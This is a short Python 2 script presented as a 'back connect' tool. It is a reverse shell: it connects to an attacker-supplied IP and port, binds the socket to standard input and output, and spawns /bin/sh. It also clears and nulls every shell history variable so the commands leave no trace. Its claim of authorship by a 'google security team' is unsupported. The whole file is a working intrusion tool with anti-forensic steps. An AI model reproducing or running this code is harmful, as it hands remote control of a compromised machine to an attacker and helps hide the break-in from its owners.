# -*- coding:utf-8 -*-#!/usr/bin/env python"""back connect py version,only linux have pty modulecode by google security team"""import sys,os,socket,ptyshell = "/bin/sh"def usage(name):    print ‘python reverse connector‘    print ‘usage: %s <ip_addr> <port>‘ % namedef main():    if len(sys.argv) !=3:        usage(sys.argv[0])        sys.exit()    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:        s.connect((sys.argv[1],int(sys.argv[2])))        print ‘connect ok‘    except:        print ‘connect faild‘        sys.exit()    os.dup2(s.fileno(),0)    os.dup2(s.fileno(),1)    os.dup2(s.fileno(),2)    global shell    os.unsetenv("HISTFILE")    os.unsetenv("HISTFILESIZE")    os.unsetenv("HISTSIZE")    os.unsetenv("HISTORY")    os.unsetenv("HISTSAVE")    os.unsetenv("HISTZONE")    os.unsetenv("HISTLOG")    os.unsetenv("HISTCMD")    os.putenv("HISTFILE",‘/dev/null‘)    os.putenv("HISTSIZE",‘0‘)    os.putenv("HISTFILESIZE",‘0‘)    pty.spawn(shell)    s.close()if __name__ == ‘__main__‘:    main()